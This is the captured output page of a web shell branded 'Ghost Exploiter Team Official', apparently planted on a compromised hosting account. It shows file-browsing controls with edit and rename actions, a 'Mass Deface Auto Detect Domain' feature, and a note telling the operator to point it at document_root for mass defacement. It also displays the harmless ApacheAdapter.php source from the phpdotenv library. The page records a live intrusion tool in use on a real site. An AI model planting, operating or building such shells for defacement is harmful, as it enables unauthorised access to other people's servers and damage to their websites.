webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
vlucas
/
phpdotenv
/
src
/
Repository
/
Adapter
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AdapterInterface.php
0.338KB
edt
ren
ApacheAdapter.php
1.928KB
edt
ren
ArrayAdapter.php
1.572KB
edt
ren
EnvConstAdapter.php
1.897KB
edt
ren
GuardedWriter.php
1.831KB
edt
ren
ImmutableWriter.php
2.482KB
edt
ren
MultiReader.php
0.946KB
edt
ren
MultiWriter.php
1.27KB
edt
ren
PutenvAdapter.php
1.849KB
edt
ren
ReaderInterface.php
0.293KB
edt
ren
ReplacingWriter.php
2.159KB
edt
ren
ServerConstAdapter.php
1.912KB
edt
ren
WriterInterface.php
0.506KB
edt
ren
<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; use PhpOption\None; use PhpOption\Option; use PhpOption\Some; final class ApacheAdapter implements AdapterInterface { /** * Create a new apache adapter instance. * * @return void */ private function __construct() { // } /** * Create a new instance of the adapter, if it is available. * * @return \PhpOption\Option<\Dotenv\Repository\Adapter\AdapterInterface> */ public static function create() { if (self::isSupported()) { /** @var \PhpOption\Option<AdapterInterface> */ return Some::create(new self()); } return None::create(); } /** * Determines if the adapter is supported. * * This happens if PHP is running as an Apache module. * * @return bool */ private static function isSupported() { return \function_exists('apache_getenv') && \function_exists('apache_setenv'); } /** * Read an environment variable, if it exists. * * @param non-empty-string $name * * @return \PhpOption\Option<string> */ public function read(string $name) { /** @var \PhpOption\Option<string> */ return Option::fromValue(apache_getenv($name))->filter(static function ($value) { return \is_string($value) && $value !== ''; }); } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { return apache_setenv($name, $value); } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { return apache_setenv($name, ''); } }